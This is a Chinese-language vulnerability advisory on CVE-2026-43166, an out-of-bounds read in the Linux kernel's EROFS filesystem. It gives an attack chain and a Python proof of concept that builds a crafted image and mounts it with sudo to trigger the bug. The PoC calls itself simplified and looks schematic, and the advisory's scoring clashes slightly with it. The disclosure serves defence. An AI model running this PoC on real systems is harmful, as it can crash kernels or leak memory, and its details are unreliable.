IPBUF安全漏洞报告
English
CVE-2026-43166 CVSS 7.1 高危

CVE-2026-43166 Linux Kernel EROFS越界读取漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43166
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Linux Kernel

相关标签

Linux KernelEROFS越界读取内存安全本地漏洞

漏洞概述

Linux内核中的EROFS文件系统存在一个安全漏洞,该漏洞源于对编码范围的交错纯数据识别逻辑存在缺陷。当系统处理包含未对齐物理长度的压缩镜像时,错误地将数据分类为交错纯范围而非偏移纯范围,导致在`z_erofs_transform_plain()`函数中发生越界读取。攻击者利用此漏洞可造成信息泄露或系统拒绝服务。

技术细节

该漏洞位于Linux内核的EROFS(增强型只读文件系统)模块中。根据规范,只有起始位置和磁盘物理长度均按块大小对齐的纯数据才应被归类为交错纯范围。然而,现有代码未严格校验此条件。当攻击者构造特制的压缩镜像,其中包含未对齐物理长度的纯范围时,内核会错误地将其识别为交错纯范围。随后在调用`z_erofs_transform_plain()`进行数据转换时,由于错误的长度计算,导致读取了超出预期边界的内存数据(OOB Read)。这破坏了内存安全边界,可能导致敏感信息泄露或内核崩溃。

攻击链分析

STEP 1
步骤1
攻击者构造特制的EROFS压缩镜像文件,其中包含未对齐物理长度的plain extents。
STEP 2
步骤2
攻击者诱导具有本地访问权限的用户或管理员挂载该恶意镜像文件(满足UI:R条件)。
STEP 3
步骤3
内核EROFS驱动解析镜像数据,错误地将未对齐的extents识别为interlaced plain extents。
STEP 4
步骤4
内核调用z_erofs_transform_plain()函数处理数据时,由于错误的长度计算发生越界读取(OOB Read)。
STEP 5
步骤5
触发系统崩溃(可用性影响)或导致内核内存信息泄露(机密性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-43166: EROFS Out-of-Bounds Read # This script creates a crafted EROFS image with unaligned extents # to trigger the vulnerability in z_erofs_transform_plain(). import os import struct IMG_FILE = "crafted_erofs.img" MOUNT_POINT = "/mnt/erofs_test" def create_crafted_image(): """ Creates a minimal EROFS image header with malformed extent data. Real exploitation requires precise binary layout. """ with open(IMG_FILE, "wb") as f: # Write EROFS superblock (simplified) # Magic: EROFS... f.write(b'\xE0\xF5\xE0\xE2' + b'\x00' * 124) # Write a crafted inode with unaligned physical length # This simulates the condition found by syzbot inode_data = struct.pack('<I', 0x1000) # Start aligned inode_data += struct.pack('<I', 0x123) # Physical length UNALIGNED (Trigger) f.write(inode_data) # Padding to reach the extent area f.write(b'\x00' * 4096) print(f"[+] Crafted image created at {IMG_FILE}") def trigger_vulnerability(): """ Attempts to mount the crafted image to trigger the kernel bug. Requires root privileges. """ if not os.path.exists(MOUNT_POINT): os.makedirs(MOUNT_POINT) print(f"[*] Attempting to mount {IMG_FILE}...") # The mount operation triggers the parsing of the crafted extent os.system(f"sudo mount -t erofs -o loop {IMG_FILE} {MOUNT_POINT}") print("[*] If kernel crashes or logs OOB read, vulnerability triggered.") if __name__ == "__main__": create_crafted_image() trigger_vulnerability()

影响范围

Linux Kernel (Mainline versions prior to fix)
Linux Kernel (Stable versions containing the vulnerable EROFS code)

防御指南

临时缓解措施
限制非特权用户对文件系统的挂载权限,避免挂载来源不明或不可信的EROFS镜像文件,以降低本地攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表